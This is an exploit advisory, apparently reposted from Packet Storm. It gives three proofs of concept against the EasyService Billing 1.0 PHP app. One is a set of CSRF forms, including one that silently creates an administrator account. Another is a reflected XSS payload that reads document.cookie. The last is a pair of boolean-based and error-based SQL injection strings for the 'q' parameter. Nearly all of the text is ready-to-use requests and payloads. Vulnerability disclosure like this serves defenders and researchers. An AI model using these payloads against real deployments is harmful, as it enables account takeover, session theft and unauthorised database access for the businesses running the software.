EasyService Billing 1.0 CSRF / XSS / SQL Injection

2018-05-2600:00:00
Divya Jain
packetstormsecurity.com
EPSS
0.008
Percentile
81.2%
JSON
`Exploit 1 of 3:  
  
<!--  
# Exploit Title: EasyService Billing 1.0 Multiple Cross-Site Request Forgery  
# Date: 25-05-2018  
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594   
# Exploit Author: Divya Jain  
# Version: EasyService Billing 1.0   
# CVE: CVE-2018-11445,CVE-2018-11442  
# Category: Webapps  
# Severity: Medium  
# Tested on: KaLi LinuX_x64  
# # # # # # # #  
#  
# Proof of Concept:  
//////////////////////////  
/ CSRF in Quotation Page /  
//////////////////////////  
# Initial Request:  
  
POST /EasyServiceBilling/quotation-new3-new2.php?add=true&id=139 HTTP/1.1  
Host: test.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://test.com/EasyServiceBilling/quotation-new3-new2.php?add=true&id=139  
Cookie: tntcon=5078855aa89b90f68de5644f75495364a4xn; PHPSESSID=58bf7e8rf0jpiepg3iu7larrj2  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 86  
  
quotation_id=139&quotation_no=249&des=test&button=Save&MM_update=form1&MM_insert=form1  
  
# CSRF POC:  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://test.com/EasyServiceBilling/quotation-new3-new2.php?add=true&id=139" method="POST">  
<input type="hidden" name="quotation_id" value="139" />  
<input type="hidden" name="quotation_no" value="249" />  
<input type="hidden" name="des" value="testnew" />  
<input type="hidden" name="button" value="Save" />  
<input type="hidden" name="MM_update" value="form1" />  
<input type="hidden" name="MM_insert" value="form1" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
///////////////////////////  
// CSRF in User Add Page //  
///////////////////////////  
  
# Initial Request  
  
POST /EasyServiceBilling/system-settings-user-new2.php? HTTP/1.1  
Host: test.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://test.com/EasyServiceBilling/system-settings-user-new2.php  
Cookie: tntcon=ea1c7cc27fc02e6abf755d54fa60a8a8a4xn; PHPSESSID=kao38vbne4c4s9s0587o8h99e6  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 36  
  
type=Admin&un=a&pw=b&MM_insert=form1  
  
# CSRF POC  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://test.com/EasyServiceBilling/system-settings-user-new2.php?" method="POST">  
<input type="hidden" name="type" value="Admin" />  
<input type="hidden" name="un" value="adminTest" />  
<input type="hidden" name="pw" value="adminTest" />  
<input type="hidden" name="MM_insert" value="form1" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
-->  
  
Exploit 2 of 3:  
  
<!--  
# Exploit Title: EasyService Billing 1.0 Cross-Site Scripting in 'q' Parameter  
# Date: 25-05-2018  
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594   
# Exploit Author: Divya Jain  
# Version: EasyService Billing 1.0   
# CVE: CVE-2018-11443  
# Category: Webapps  
# Severity: Medium  
# Tested on: KaLi LinuX_x64  
# # # # #  
#   
# Proof of Concept:  
#  
///////////  
// XSS //  
///////////  
  
Affected Link: http://test.com/EasyServiceBilling/jobcard-ongoing.php?q=  
Payload: %27%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%27  
Parameter: q  
Link: http://test.com/EasyServiceBilling/jobcard-ongoing.php?q=%27%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%27  
  
###########################################################################  
  
  
  
Exploit 3 of 3:  
  
<!--  
# Exploit Title: EasyService Billing 1.0 SQL Injection on page jobcard-ongoing.php?q=  
# Date: 25-05-2018  
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594   
# Exploit Author: Divya Jain  
# Version: EasyService Billing 1.0   
# CVE: CVE-2018-11444  
# Category: Webapps  
# Severity: High  
# Tested on: KaLi LinuX_x64  
# # # # # # # #  
#  
  
# Proof of Concept:  
////////////////////////////////  
SQL Injection in q parameter  
///////////////////////////////  
Affected Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=  
# Boolean Based Blind SQL  
Payload: 1337'OR%20NOT 1=1--  
Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=1337'OR%20NOT 1=1--  
  
# Error-Based SQL  
Payload: 1337'AND%20(SELECT%202%20FROM(SELECT%20COUNT(*),CONCAT(0x7162627161,(SELECT(ELT(2=2,1))),0x717a6b6271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20'aBCD'='aBCD  
  
Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=1337'AND%20(SELECT%202%20FROM(SELECT%20COUNT(*),CONCAT(0x7162627161,(SELECT(ELT(2=2,1))),0x717a6b6271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20'aBCD'='aBCD  
#################################  
  
`
EPSS
0.008
Percentile
81.2%
JSON
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